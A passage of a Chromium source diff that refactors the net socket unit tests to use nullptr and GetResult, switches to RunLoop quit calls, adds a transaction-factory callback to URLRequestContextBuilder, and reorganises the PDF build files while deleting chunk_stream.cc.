+++ b/net/socket/client_socket_pool_base_unittest.cc
@@ -658,7 +658,7 @@
     EXPECT_EQ(socket == NULL, result != OK);
     have_result_ = true;
     if (waiting_for_result_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   int WaitForResult() {
diff --git a/net/socket/tcp_client_socket_unittest.cc b/net/socket/tcp_client_socket_unittest.cc
index c774346..b3257aa6 100644
--- a/net/socket/tcp_client_socket_unittest.cc
+++ b/net/socket/tcp_client_socket_unittest.cc
@@ -23,6 +23,7 @@
 
 using net::test::IsError;
 using net::test::IsOk;
+using testing::Not;
 
 namespace base {
 class TimeDelta;
@@ -37,12 +38,12 @@
 TEST(TCPClientSocketTest, BindLoopbackToLoopback) {
   IPAddress lo_address = IPAddress::IPv4Localhost();
 
-  TCPServerSocket server(NULL, NetLogSource());
+  TCPServerSocket server(nullptr, NetLogSource());
   ASSERT_THAT(server.Listen(IPEndPoint(lo_address, 0), 1), IsOk());
   IPEndPoint server_address;
   ASSERT_THAT(server.GetLocalAddress(&server_address), IsOk());
 
-  TCPClientSocket socket(AddressList(server_address), NULL, NULL,
+  TCPClientSocket socket(AddressList(server_address), nullptr, nullptr,
                          NetLogSource());
 
   EXPECT_THAT(socket.Bind(IPEndPoint(lo_address, 0)), IsOk());
@@ -52,17 +53,15 @@
   EXPECT_EQ(lo_address, local_address_result.address());
 
   TestCompletionCallback connect_callback;
-  EXPECT_THAT(socket.Connect(connect_callback.callback()),
-              IsError(ERR_IO_PENDING));
+  int connect_result = socket.Connect(connect_callback.callback());
 
   TestCompletionCallback accept_callback;
   std::unique_ptr<StreamSocket> accepted_socket;
   int result = server.Accept(&accepted_socket, accept_callback.callback());
-  if (result == ERR_IO_PENDING)
-    result = accept_callback.WaitForResult();
+  result = accept_callback.GetResult(result);
   ASSERT_THAT(result, IsOk());
 
-  EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
+  EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
 
   EXPECT_TRUE(socket.IsConnected());
   socket.Disconnect();
@@ -82,12 +81,10 @@
 
   TestCompletionCallback connect_callback;
   int result = socket.Connect(connect_callback.callback());
-  if (result == ERR_IO_PENDING)
-    result = connect_callback.WaitForResult();
 
   // We may get different errors here on different system, but
   // connect() is not expected to succeed.
-  EXPECT_NE(OK, result);
+  EXPECT_THAT(connect_callback.GetResult(result), Not(IsOk()));
 }
 
 // Bind a socket to the IPv4 loopback interface and try to connect to
@@ -111,10 +108,8 @@
 
   TestCompletionCallback connect_callback;
   int result = socket.Connect(connect_callback.callback());
-  if (result == ERR_IO_PENDING)
-    result = connect_callback.WaitForResult();
 
-  EXPECT_NE(OK, result);
+  EXPECT_THAT(connect_callback.GetResult(result), Not(IsOk()));
 }
 
 class TestSocketPerformanceWatcher : public SocketPerformanceWatcher {
diff --git a/net/socket/tcp_server_socket_unittest.cc b/net/socket/tcp_server_socket_unittest.cc
index 2f7ea380..86f7ac4 100644
--- a/net/socket/tcp_server_socket_unittest.cc
+++ b/net/socket/tcp_server_socket_unittest.cc
@@ -23,6 +23,7 @@
 #include "testing/gtest/include/gtest/gtest.h"
 #include "testing/platform_test.h"
 
+using net::test::IsError;
 using net::test::IsOk;
 
 namespace net {
@@ -32,7 +33,7 @@
 
 class TCPServerSocketTest : public PlatformTest {
  protected:
-  TCPServerSocketTest() : socket_(NULL, NetLogSource()) {}
+  TCPServerSocketTest() : socket_(nullptr, NetLogSource()) {}
 
   void SetUpIPv4() {
     IPEndPoint address(IPAddress::IPv4Localhost(), 0);
@@ -70,24 +71,23 @@
   ASSERT_NO_FATAL_FAILURE(SetUpIPv4());
 
   TestCompletionCallback connect_callback;
-  TCPClientSocket connecting_socket(local_address_list(), NULL, NULL,
+  TCPClientSocket connecting_socket(local_address_list(), nullptr, nullptr,
                                     NetLogSource());
-  connecting_socket.Connect(connect_callback.callback());
+  int connect_result = connecting_socket.Connect(connect_callback.callback());
 
   TestCompletionCallback accept_callback;
   std::unique_ptr<StreamSocket> accepted_socket;
   int result = socket_.Accept(&accepted_socket, accept_callback.callback());
-  if (result == ERR_IO_PENDING)
-    result = accept_callback.WaitForResult();
+  result = accept_callback.GetResult(result);
   ASSERT_THAT(result, IsOk());
 
-  ASSERT_TRUE(accepted_socket.get() != NULL);
+  ASSERT_TRUE(accepted_socket.get() != nullptr);
 
   // Both sockets should be on the loopback network interface.
   EXPECT_EQ(GetPeerAddress(accepted_socket.get()).address(),
             local_address_.address());
 
-  EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
+  EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
 }
 
 // Test Accept() callback.
@@ -97,18 +97,18 @@
   TestCompletionCallback accept_callback;
   std::unique_ptr<StreamSocket> accepted_socket;
 
-  ASSERT_EQ(ERR_IO_PENDING,
-            socket_.Accept(&accepted_socket, accept_callback.callback()));
+  ASSERT_THAT(socket_.Accept(&accepted_socket, accept_callback.callback()),
+              IsError(ERR_IO_PENDING));
 
   TestCompletionCallback connect_callback;
-  TCPClientSocket connecting_socket(local_address_list(), NULL, NULL,
+  TCPClientSocket connecting_socket(local_address_list(), nullptr, nullptr,
                                     NetLogSource());
-  connecting_socket.Connect(connect_callback.callback());
+  int connect_result = connecting_socket.Connect(connect_callback.callback());
+  EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
 
-  EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
   EXPECT_THAT(accept_callback.WaitForResult(), IsOk());
 
-  EXPECT_TRUE(accepted_socket != NULL);
+  EXPECT_TRUE(accepted_socket != nullptr);
 
   // Both sockets should be on the loopback network interface.
   EXPECT_EQ(GetPeerAddress(accepted_socket.get()).address(),
@@ -126,28 +126,29 @@
             socket_.Accept(&accepted_socket, accept_callback.callback()));
 
   TestCompletionCallback connect_callback;
-  TCPClientSocket connecting_socket(local_address_list(), NULL, NULL,
+  TCPClientSocket connecting_socket(local_address_list(), nullptr, nullptr,
                                     NetLogSource());
-  connecting_socket.Connect(connect_callback.callback());
+  int connect_result = connecting_socket.Connect(connect_callback.callback());
 
   TestCompletionCallback connect_callback2;
-  TCPClientSocket connecting_socket2(local_address_list(), NULL, NULL,
+  TCPClientSocket connecting_socket2(local_address_list(), nullptr, nullptr,
                                      NetLogSource());
-  connecting_socket2.Connect(connect_callback2.callback());
+  int connect_result2 =
+      connecting_socket2.Connect(connect_callback2.callback());
 
   EXPECT_THAT(accept_callback.WaitForResult(), IsOk());
 
   TestCompletionCallback accept_callback2;
   std::unique_ptr<StreamSocket> accepted_socket2;
   int result = socket_.Accept(&accepted_socket2, accept_callback2.callback());
-  if (result == ERR_IO_PENDING)
-    result = accept_callback2.WaitForResult();
+  result = accept_callback2.GetResult(result);
   ASSERT_THAT(result, IsOk());
 
-  EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
+  EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
+  EXPECT_THAT(connect_callback2.GetResult(connect_result2), IsOk());
 
-  EXPECT_TRUE(accepted_socket != NULL);
-  EXPECT_TRUE(accepted_socket2 != NULL);
+  EXPECT_TRUE(accepted_socket != nullptr);
+  EXPECT_TRUE(accepted_socket2 != nullptr);
   EXPECT_NE(accepted_socket.get(), accepted_socket2.get());
 
   EXPECT_EQ(GetPeerAddress(accepted_socket.get()).address(),
@@ -163,46 +164,45 @@
     return;
 
   TestCompletionCallback connect_callback;
-  TCPClientSocket connecting_socket(local_address_list(), NULL, NULL,
+  TCPClientSocket connecting_socket(local_address_list(), nullptr, nullptr,
                                     NetLogSource());
-  connecting_socket.Connect(connect_callback.callback());
+  int connect_result = connecting_socket.Connect(connect_callback.callback());
 
   TestCompletionCallback accept_callback;
   std::unique_ptr<StreamSocket> accepted_socket;
   int result = socket_.Accept(&accepted_socket, accept_callback.callback());
-  if (result == ERR_IO_PENDING)
-    result = accept_callback.WaitForResult();
+  result = accept_callback.GetResult(result);
   ASSERT_THAT(result, IsOk());
 
-  ASSERT_TRUE(accepted_socket.get() != NULL);
+  ASSERT_TRUE(accepted_socket.get() != nullptr);
 
   // Both sockets should be on the loopback network interface.
   EXPECT_EQ(GetPeerAddress(accepted_socket.get()).address(),
             local_address_.address());
 
-  EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
+  EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
 }
 
 TEST_F(TCPServerSocketTest, AcceptIO) {
   ASSERT_NO_FATAL_FAILURE(SetUpIPv4());
 
   TestCompletionCallback connect_callback;
-  TCPClientSocket connecting_socket(local_address_list(), NULL, NULL,
+  TCPClientSocket connecting_socket(local_address_list(), nullptr, nullptr,
                                     NetLogSource());
-  connecting_socket.Connect(connect_callback.callback());
+  int connect_result = connecting_socket.Connect(connect_callback.callback());
 
   TestCompletionCallback accept_callback;
   std::unique_ptr<StreamSocket> accepted_socket;
   int result = socket_.Accept(&accepted_socket, accept_callback.callback());
   ASSERT_THAT(accept_callback.GetResult(result), IsOk());
 
-  ASSERT_TRUE(accepted_socket.get() != NULL);
+  ASSERT_TRUE(accepted_socket.get() != nullptr);
 
   // Both sockets should be on the loopback network interface.
   EXPECT_EQ(GetPeerAddress(accepted_socket.get()).address(),
             local_address_.address());
 
-  EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
+  EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
 
   const std::string message("test message");
   std::vector<char> buffer(message.size());
diff --git a/net/socket/tcp_socket_unittest.cc b/net/socket/tcp_socket_unittest.cc
index 15fdc04..508b2b74 100644
--- a/net/socket/tcp_socket_unittest.cc
+++ b/net/socket/tcp_socket_unittest.cc
@@ -27,6 +27,7 @@
 #include "testing/gtest/include/gtest/gtest.h"
 #include "testing/platform_test.h"
 
+using net::test::IsError;
 using net::test::IsOk;
 
 namespace net {
@@ -67,7 +68,7 @@
 
 class TCPSocketTest : public PlatformTest {
  protected:
-  TCPSocketTest() : socket_(NULL, NULL, NetLogSource()) {}
+  TCPSocketTest() : socket_(nullptr, nullptr, NetLogSource()) {}
 
   void SetUpListenIPv4() {
     ASSERT_THAT(socket_.Open(ADDRESS_FAMILY_IPV4), IsOk());
@@ -95,16 +96,16 @@
     TestCompletionCallback accept_callback;
     std::unique_ptr<TCPSocket> accepted_socket;
     IPEndPoint accepted_address;
-    ASSERT_EQ(ERR_IO_PENDING,
-              socket_.Accept(&accepted_socket, &accepted_address,
-                             accept_callback.callback()));
+    ASSERT_THAT(socket_.Accept(&accepted_socket, &accepted_address,
+                               accept_callback.callback()),
+                IsError(ERR_IO_PENDING));
 
     TestCompletionCallback connect_callback;
-    TCPClientSocket connecting_socket(local_address_list(), NULL, NULL,
+    TCPClientSocket connecting_socket(local_address_list(), nullptr, nullptr,
                                       NetLogSource());
-    connecting_socket.Connect(connect_callback.callback());
+    int connect_result = connecting_socket.Connect(connect_callback.callback());
+    EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
 
-    EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
     EXPECT_THAT(accept_callback.WaitForResult(), IsOk());
 
     EXPECT_TRUE(accepted_socket.get());
@@ -135,11 +136,12 @@
         new TestSocketPerformanceWatcher(should_notify_updated_rtt));
     TestSocketPerformanceWatcher* watcher_ptr = watcher.get();
 
-    TCPSocket connecting_socket(std::move(watcher), NULL, NetLogSource());
+    TCPSocket connecting_socket(std::move(watcher), nullptr, NetLogSource());
 
     int result = connecting_socket.Open(ADDRESS_FAMILY_IPV4);
     ASSERT_THAT(result, IsOk());
-    connecting_socket.Connect(local_address_, connect_callback.callback());
+    int connect_result =
+        connecting_socket.Connect(local_address_, connect_callback.callback());
 
     TestCompletionCallback accept_callback;
     std::unique_ptr<TCPSocket> accepted_socket;
@@ -153,7 +155,7 @@
     // Both sockets should be on the loopback network interface.
     EXPECT_EQ(accepted_address.address(), local_address_.address());
 
-    ASSERT_THAT(connect_callback.WaitForResult(), IsOk());
+    ASSERT_THAT(connect_callback.GetResult(connect_result), IsOk());
 
     for (size_t i = 0; i < num_messages; ++i) {
       // Use a 1 byte message so that the watcher is notified at most once per
@@ -199,25 +201,23 @@
   TestCompletionCallback connect_callback;
   // TODO(yzshen): Switch to use TCPSocket when it supports client socket
   // operations.
-  TCPClientSocket connecting_socket(local_address_list(), NULL, NULL,
+  TCPClientSocket connecting_socket(local_address_list(), nullptr, nullptr,
                                     NetLogSource());
-  connecting_socket.Connect(connect_callback.callback());
+  int connect_result = connecting_socket.Connect(connect_callback.callback());
 
   TestCompletionCallback accept_callback;
   std::unique_ptr<TCPSocket> accepted_socket;
   IPEndPoint accepted_address;
   int result = socket_.Accept(&accepted_socket, &accepted_address,
                               accept_callback.callback());
-  if (result == ERR_IO_PENDING)
-    result = accept_callback.WaitForResult();
-  ASSERT_THAT(result, IsOk());
+  ASSERT_THAT(accept_callback.GetResult(result), IsOk());
 
   EXPECT_TRUE(accepted_socket.get());
 
   // Both sockets should be on the loopback network interface.
   EXPECT_EQ(accepted_address.address(), local_address_.address());
 
-  EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
+  EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
 }
 
 // Test Accept() callback.
@@ -228,7 +228,7 @@
 
 // Test AdoptConnectedSocket()
 TEST_F(TCPSocketTest, AdoptConnectedSocket) {
-  TCPSocket accepting_socket(NULL, NULL, NetLogSource());
+  TCPSocket accepting_socket(nullptr, nullptr, NetLogSource());
   ASSERT_THAT(accepting_socket.Open(ADDRESS_FAMILY_IPV4), IsOk());
   ASSERT_THAT(accepting_socket.Bind(IPEndPoint(IPAddress::IPv4Localhost(), 0)),
               IsOk());
@@ -238,18 +238,16 @@
   TestCompletionCallback connect_callback;
   // TODO(yzshen): Switch to use TCPSocket when it supports client socket
   // operations.
-  TCPClientSocket connecting_socket(local_address_list(), NULL, NULL,
+  TCPClientSocket connecting_socket(local_address_list(), nullptr, nullptr,
                                     NetLogSource());
-  connecting_socket.Connect(connect_callback.callback());
+  int connect_result = connecting_socket.Connect(connect_callback.callback());
 
   TestCompletionCallback accept_callback;
   std::unique_ptr<TCPSocket> accepted_socket;
   IPEndPoint accepted_address;
   int result = accepting_socket.Accept(&accepted_socket, &accepted_address,
                                        accept_callback.callback());
-  if (result == ERR_IO_PENDING)
-    result = accept_callback.WaitForResult();
-  ASSERT_THAT(result, IsOk());
+  ASSERT_THAT(accept_callback.GetResult(result), IsOk());
 
   SocketDescriptor accepted_descriptor =
       accepted_socket->ReleaseSocketDescriptorForTesting();
@@ -263,7 +261,7 @@
   ASSERT_THAT(socket_.GetLocalAddress(&adopted_address), IsOk());
   EXPECT_EQ(local_address_.address(), adopted_address.address());
 
-  EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
+  EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
 }
 
 // Test Accept() for AdoptUnconnectedSocket.
@@ -291,19 +289,20 @@
   std::unique_ptr<TCPSocket> accepted_socket;
   IPEndPoint accepted_address;
 
-  ASSERT_EQ(ERR_IO_PENDING,
-            socket_.Accept(&accepted_socket, &accepted_address,
-                           accept_callback.callback()));
+  ASSERT_THAT(socket_.Accept(&accepted_socket, &accepted_address,
+                             accept_callback.callback()),
+              IsError(ERR_IO_PENDING));
 
   TestCompletionCallback connect_callback;
-  TCPClientSocket connecting_socket(local_address_list(), NULL, NULL,
+  TCPClientSocket connecting_socket(local_address_list(), nullptr, nullptr,
                                     NetLogSource());
-  connecting_socket.Connect(connect_callback.callback());
+  int connect_result = connecting_socket.Connect(connect_callback.callback());
 
   TestCompletionCallback connect_callback2;
-  TCPClientSocket connecting_socket2(local_address_list(), NULL, NULL,
+  TCPClientSocket connecting_socket2(local_address_list(), nullptr, nullptr,
                                      NetLogSource());
-  connecting_socket2.Connect(connect_callback2.callback());
+  int connect_result2 =
+      connecting_socket2.Connect(connect_callback2.callback());
 
   EXPECT_THAT(accept_callback.WaitForResult(), IsOk());
 
@@ -313,12 +312,10 @@
 
   int result = socket_.Accept(&accepted_socket2, &accepted_address2,
                               accept_callback2.callback());
-  if (result == ERR_IO_PENDING)
-    result = accept_callback2.WaitForResult();
-  ASSERT_THAT(result, IsOk());
+  ASSERT_THAT(accept_callback2.GetResult(result), IsOk());
 
-  EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
-  EXPECT_THAT(connect_callback2.WaitForResult(), IsOk());
+  EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
+  EXPECT_THAT(connect_callback2.GetResult(connect_result2), IsOk());
 
   EXPECT_TRUE(accepted_socket.get());
   EXPECT_TRUE(accepted_socket2.get());
@@ -336,35 +333,34 @@
     return;
 
   TestCompletionCallback connect_callback;
-  TCPClientSocket connecting_socket(local_address_list(), NULL, NULL,
+  TCPClientSocket connecting_socket(local_address_list(), nullptr, nullptr,
                                     NetLogSource());
-  connecting_socket.Connect(connect_callback.callback());
+  int connect_result = connecting_socket.Connect(connect_callback.callback());
 
   TestCompletionCallback accept_callback;
   std::unique_ptr<TCPSocket> accepted_socket;
   IPEndPoint accepted_address;
   int result = socket_.Accept(&accepted_socket, &accepted_address,
                               accept_callback.callback());
-  if (result == ERR_IO_PENDING)
-    result = accept_callback.WaitForResult();
-  ASSERT_THAT(result, IsOk());
+  ASSERT_THAT(accept_callback.GetResult(result), IsOk());
 
   EXPECT_TRUE(accepted_socket.get());
 
   // Both sockets should be on the loopback network interface.
   EXPECT_EQ(accepted_address.address(), local_address_.address());
 
-  EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
+  EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
 }
 
 TEST_F(TCPSocketTest, ReadWrite) {
   ASSERT_NO_FATAL_FAILURE(SetUpListenIPv4());
 
   TestCompletionCallback connect_callback;
-  TCPSocket connecting_socket(NULL, NULL, NetLogSource());
+  TCPSocket connecting_socket(nullptr, nullptr, NetLogSource());
   int result = connecting_socket.Open(ADDRESS_FAMILY_IPV4);
   ASSERT_THAT(result, IsOk());
-  connecting_socket.Connect(local_address_, connect_callback.callback());
+  int connect_result =
+      connecting_socket.Connect(local_address_, connect_callback.callback());
 
   TestCompletionCallback accept_callback;
   std::unique_ptr<TCPSocket> accepted_socket;
@@ -378,7 +374,7 @@
   // Both sockets should be on the loopback network interface.
   EXPECT_EQ(accepted_address.address(), local_address_.address());
 
-  EXPECT_THAT(connect_callback.WaitForResult(), IsOk());
+  EXPECT_THAT(connect_callback.GetResult(connect_result), IsOk());
 
   const std::string message("test message");
   std::vector<char> buffer(message.size());
diff --git a/net/test/embedded_test_server/embedded_test_server_unittest.cc b/net/test/embedded_test_server/embedded_test_server_unittest.cc
index 8863f83..5401c62 100644
--- a/net/test/embedded_test_server/embedded_test_server_unittest.cc
+++ b/net/test/embedded_test_server/embedded_test_server_unittest.cc
@@ -163,7 +163,7 @@
   void OnURLFetchComplete(const URLFetcher* source) override {
     ++num_responses_received_;
     if (num_responses_received_ == num_responses_expected_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   // Waits until the specified number of responses are received.
@@ -609,7 +609,7 @@
 
   // URLFetcherDelegate override.
   void OnURLFetchComplete(const URLFetcher* source) override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/net/tools/gdig/gdig.cc b/net/tools/gdig/gdig.cc
index 6c71b7d..2ff7360 100644
--- a/net/tools/gdig/gdig.cc
+++ b/net/tools/gdig/gdig.cc
@@ -408,7 +408,7 @@
   DCHECK_NE(RESULT_PENDING, result);
   result_ = result;
   if (base::MessageLoop::current())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void GDig::OnDnsConfig(const DnsConfig& dns_config_const) {
diff --git a/net/tools/get_server_time/get_server_time.cc b/net/tools/get_server_time/get_server_time.cc
index 2cd8767c..d45ea0c 100644
--- a/net/tools/get_server_time/get_server_time.cc
+++ b/net/tools/get_server_time/get_server_time.cc
@@ -79,7 +79,7 @@
 
   // net::URLFetcherDelegate implementation.
   void OnURLFetchComplete(const net::URLFetcher* source) override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void OnURLFetchDownloadProgress(const net::URLFetcher* source,
diff --git a/net/url_request/url_request_context_builder.cc b/net/url_request/url_request_context_builder.cc
index 30972ab42..d939129f 100644
--- a/net/url_request/url_request_context_builder.cc
+++ b/net/url_request/url_request_context_builder.cc
@@ -326,11 +326,6 @@
   channel_id_service_ = std::move(channel_id_service);
 }
 
-void URLRequestContextBuilder::SetCacheThreadTaskRunner(
-    scoped_refptr<base::SingleThreadTaskRunner> cache_thread_task_runner) {
-  cache_thread_task_runner_ = std::move(cache_thread_task_runner);
-}
-
 void URLRequestContextBuilder::SetProtocolHandler(
     const std::string& scheme,
     std::unique_ptr<URLRequestJobFactory::ProtocolHandler> protocol_handler) {
@@ -382,6 +377,13 @@
   http_server_properties_ = std::move(http_server_properties);
 }
 
+void URLRequestContextBuilder::SetCreateHttpTransactionFactoryCallback(
+    CreateHttpTransactionFactoryCallback
+        create_http_network_transaction_factory) {
+  create_http_network_transaction_factory_ =
+      std::move(create_http_network_transaction_factory);
+}
+
 std::unique_ptr<URLRequestContext> URLRequestContextBuilder::Build() {
   std::unique_ptr<ContainerURLRequestContext> context(
       new ContainerURLRequestContext());
@@ -546,15 +548,18 @@
       http_network_session_params_, network_session_context));
 
   std::unique_ptr<HttpTransactionFactory> http_transaction_factory;
+  if (!create_http_network_transaction_factory_.is_null()) {
+    http_transaction_factory =
+        std::move(create_http_network_transaction_factory_)
+            .Run(storage->http_network_session());
+  } else {
+    http_transaction_factory =
+        base::MakeUnique<HttpNetworkLayer>(storage->http_network_session());
+  }
+
   if (http_cache_enabled_) {
     std::unique_ptr<HttpCache::BackendFactory> http_cache_backend;
     if (http_cache_params_.type != HttpCacheParams::IN_MEMORY) {
-      if (!cache_thread_task_runner_) {
-        cache_thread_task_runner_ =
-            base::CreateSingleThreadTaskRunnerWithTraits(
-                {base::MayBlock(), base::TaskPriority::USER_BLOCKING,
-                 base::TaskShutdownBehavior::BLOCK_SHUTDOWN});
-      }
       // TODO(mmenke): Maybe merge BackendType and HttpCacheParams::Type? The
       // first doesn't include in memory, so may require some work.
       BackendType backend_type = CACHE_BACKEND_DEFAULT;
@@ -574,17 +579,15 @@
       }
       http_cache_backend.reset(new HttpCache::DefaultBackend(
           DISK_CACHE, backend_type, http_cache_params_.path,
-          http_cache_params_.max_size, cache_thread_task_runner_));
+          http_cache_params_.max_size));
     } else {
       http_cache_backend =
           HttpCache::DefaultBackend::InMemory(http_cache_params_.max_size);
     }
 
-    http_transaction_factory.reset(new HttpCache(
-        storage->http_network_session(), std::move(http_cache_backend), true));
-  } else {
     http_transaction_factory.reset(
-        new HttpNetworkLayer(storage->http_network_session()));
+        new HttpCache(std::move(http_transaction_factory),
+                      std::move(http_cache_backend), true));
   }
   storage->set_http_transaction_factory(std::move(http_transaction_factory));
 
diff --git a/net/url_request/url_request_context_builder.h b/net/url_request/url_request_context_builder.h
index ce19ca3..8f1b0d5 100644
--- a/net/url_request/url_request_context_builder.h
+++ b/net/url_request/url_request_context_builder.h
@@ -43,10 +43,6 @@
 #include "net/ssl/ssl_config_service.h"
 #include "net/url_request/url_request_job_factory.h"
 
-namespace base {
-class SingleThreadTaskRunner;
-}
-
 namespace net {
 
 class CertVerifier;
@@ -55,6 +51,7 @@
 class CTPolicyEnforcer;
 class CTVerifier;
 class HttpAuthHandlerFactory;
+class HttpTransactionFactory;
 class HttpUserAgentSettings;
 class HttpServerProperties;
 class NetworkQualityEstimator;
@@ -85,6 +82,12 @@
       base::OnceCallback<std::unique_ptr<net::URLRequestJobFactory>(
           std::unique_ptr<net::URLRequestJobFactory> inner_job_factory)>;
 
+  // Creates an HttpNetworkTransactionFactory given an HttpNetworkSession. Does
+  // not take ownership of the session.
+  using CreateHttpTransactionFactoryCallback =
+      base::OnceCallback<std::unique_ptr<net::HttpTransactionFactory>(
+          net::HttpNetworkSession* session)>;
+
   struct NET_EXPORT HttpCacheParams {
     enum Type {
       // In-memory cache.
@@ -335,13 +338,6 @@
       std::unique_ptr<CookieStore> cookie_store,
       std::unique_ptr<ChannelIDService> channel_id_service);
 
-  // Sets the SingleThreadTaskRunner used to perform cache operations. If not
-  // set, one will be created via a TaskScheduler instead. Other file tasks will
-  // use the task scheduler, but the cache needs a SingleThreadTaskRunner, so
-  // best to keep that configurable by the consumer.
-  void SetCacheThreadTaskRunner(
-      scoped_refptr<base::SingleThreadTaskRunner> cache_thread_task_runner);
-
   // Note that if SDCH is enabled without a policy object observing
   // the SDCH manager and handling at least Get-Dictionary events, the
   // result will be "Content-Encoding: sdch" advertisements, but no
@@ -354,6 +350,14 @@
   void SetHttpServerProperties(
       std::unique_ptr<HttpServerProperties> http_server_properties);
 
+  // Sets a callback that will be used to create the
+  // HttpNetworkTransactionFactory. If a cache is enabled, the cache's
+  // HttpTransactionFactory will wrap the one this creates.
+  // TODO(mmenke): Get rid of this. See https://crbug.com/721408
+  void SetCreateHttpTransactionFactoryCallback(
+      CreateHttpTransactionFactoryCallback
+          create_http_network_transaction_factory);
+
   // Creates a mostly self-contained URLRequestContext. May only be called once
   // per URLRequestContextBuilder. After this is called, the Builder can be
   // safely destroyed.
@@ -394,9 +398,9 @@
   bool sdch_enabled_;
   bool cookie_store_set_by_client_;
 
-  scoped_refptr<base::SingleThreadTaskRunner> cache_thread_task_runner_;
   HttpCacheParams http_cache_params_;
   HttpNetworkSession::Params http_network_session_params_;
+  CreateHttpTransactionFactoryCallback create_http_network_transaction_factory_;
   base::FilePath transport_security_persister_path_;
   bool transport_security_persister_readonly_;
   NetLog* net_log_;
diff --git a/net/url_request/url_request_unittest.cc b/net/url_request/url_request_unittest.cc
index 916e986d..1bfc1a40 100644
--- a/net/url_request/url_request_unittest.cc
+++ b/net/url_request/url_request_unittest.cc
@@ -9468,7 +9468,7 @@
   void OnCertificateRequested(URLRequest* request,
                               SSLCertRequestInfo* cert_request_info) override {
     on_certificate_requested_count_++;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
   int on_certificate_requested_count() {
     return on_certificate_requested_count_;
diff --git a/pdf/BUILD.gn b/pdf/BUILD.gn
index 0871c62..28949f8 100644
--- a/pdf/BUILD.gn
+++ b/pdf/BUILD.gn
@@ -25,10 +25,10 @@
       "//ppapi/cpp:objects",
       "//ppapi/cpp/private:internal_module",
       "//ui/base",
+      "//ui/gfx/range",
     ]
 
     sources = [
-      "chunk_stream.cc",
       "chunk_stream.h",
       "document_loader.cc",
       "document_loader.h",
@@ -45,6 +45,13 @@
       "pdf_engine.h",
       "preview_mode_client.cc",
       "preview_mode_client.h",
+      "range_set.cc",
+      "range_set.h",
+      "timer.cc",
+      "timer.h",
+      "url_loader_wrapper.h",
+      "url_loader_wrapper_impl.cc",
+      "url_loader_wrapper_impl.h",
     ]
 
     if (pdf_engine == 0) {
@@ -80,6 +87,8 @@
   test("pdf_unittests") {
     sources = [
       "chunk_stream_unittest.cc",
+      "document_loader_unittest.cc",
+      "range_set_unittest.cc",
       "run_all_unittests.cc",
     ]
 
@@ -91,6 +100,7 @@
       "//ppapi/cpp",
       "//testing/gmock",
       "//testing/gtest",
+      "//ui/gfx/range",
     ]
   }
 } else {
diff --git a/pdf/DEPS b/pdf/DEPS
index b7a8a17..d088805 100644
--- a/pdf/DEPS
+++ b/pdf/DEPS
@@ -4,5 +4,6 @@
   "+ppapi",
   "+ui/base/window_open_disposition.h",
   "+ui/events/keycodes/keyboard_codes.h",
+  "+ui/gfx/range/range.h",
   "+v8/include/v8.h"
 ]
diff --git a/pdf/chunk_stream.cc b/pdf/chunk_stream.cc
deleted file mode 100644
index 4eae4a9..0000000
--- a/pdf/chunk_stream.cc
+++ /dev/null
@@ -1,166 +0,0 @@
-// Copyright (c) 2010 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "pdf/chunk_stream.h"
-
-#include <stddef.h>
-#include <string.h>
-
-#include <algorithm>
-#include <limits>
-
-namespace chrome_pdf {
-
-ChunkStream::ChunkStream() : stream_size_(0) {}
-
-ChunkStream::~ChunkStream() {}
-
-void ChunkStream::Clear() {
-  chunks_.clear();
-  data_.clear();
-  stream_size_ = 0;
-}
-
-void ChunkStream::Preallocate(size_t stream_size) {
-  data_.reserve(stream_size);
-  stream_size_ = stream_size;
-}
-
-size_t ChunkStream::GetSize() const {
-  return data_.size();
-}
-
-bool ChunkStream::WriteData(size_t offset, void* buffer, size_t size) {
-  if (std::numeric_limits<size_t>::max() - size < offset)
-    return false;
-
-  if (data_.size() < offset + size)
-    data_.resize(offset + size);
-
-  memcpy(&data_[offset], buffer, size);
-
-  if (chunks_.empty()) {
-    chunks_[offset] = size;
-    return true;
-  }
-
-  auto start = GetStartChunk(offset);
-  auto end = chunks_.upper_bound(offset + size);
-  if (start == end) {  // No chunks to merge.
-    chunks_[offset] = size;
-    return true;
-  }
-
-  auto prev = end;
-  --prev;
-  size_t prev_size = prev->first + prev->second;
-
-  size_t new_offset = std::min<size_t>(start->first, offset);
-  size_t new_size = std::max<size_t>(prev_size, offset + size) - new_offset;
-
-  chunks_.erase(start, end);
-  chunks_[new_offset] = new_size;
-  return true;
-}
-
-bool ChunkStream::ReadData(size_t offset, size_t size, void* buffer) const {
-  if (!IsRangeAvailable(offset, size))
-    return false;
-
-  memcpy(buffer, &data_[offset], size);
-  return true;
-}
